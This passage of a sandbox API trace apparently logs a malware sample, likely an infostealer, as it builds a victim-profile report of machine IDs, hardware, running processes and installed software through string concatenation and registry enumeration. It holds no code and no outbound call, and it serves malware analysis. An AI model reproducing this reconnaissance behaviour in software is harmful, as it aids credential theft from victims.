whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0"
[0054.953] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0", lpString2="]" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]"
[0054.953] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]", lpString2="\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\n"
[0054.953] RegCloseKey (hKey=0x514) returned 0x0
[0054.953] RegEnumKeyExA (in: hKey=0x508, dwIndex=0x19, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.954] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned 90
[0054.954] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{3c3aafc8-d898-43ec-998f-965ffdae065a}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.954] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501", lpcbData=0x1816c0*=0x3d) returned 0x0
